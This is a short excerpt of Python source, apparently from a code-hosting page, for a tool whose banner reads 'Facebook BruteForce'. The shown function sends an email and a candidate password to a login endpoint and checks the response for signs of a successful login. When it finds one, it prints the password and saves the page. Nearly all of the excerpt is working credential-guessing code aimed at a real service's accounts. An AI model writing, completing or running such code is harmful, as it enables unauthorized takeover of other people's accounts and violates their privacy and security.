(email, passw, i)
| 37 | |
| 38 | |
| 39 | def function(email, passw, i): |
| 40 | global payload, cookie |
| 41 | if i % 10 == 1: |
| 42 | payload, cookie = create_form() |
| 43 | payload["email"] = email |
| 44 | payload["pass"] = passw |
| 45 | r = requests.post(post_url, data=payload, cookies=cookie, headers=headers) |
| 46 | if "Find Friends" in r.text or "Two-factor authentication required" in r.text: |
| 47 | open("temp", "w").write(str(r.content)) |
| 48 | print("\npassword is : ", passw) |
| 49 | return True |
| 50 | return False |
| 51 | |
| 52 | |
| 53 | print("\n---------- Welcome To Facebook BruteForce ----------\n") |
no test coverage detected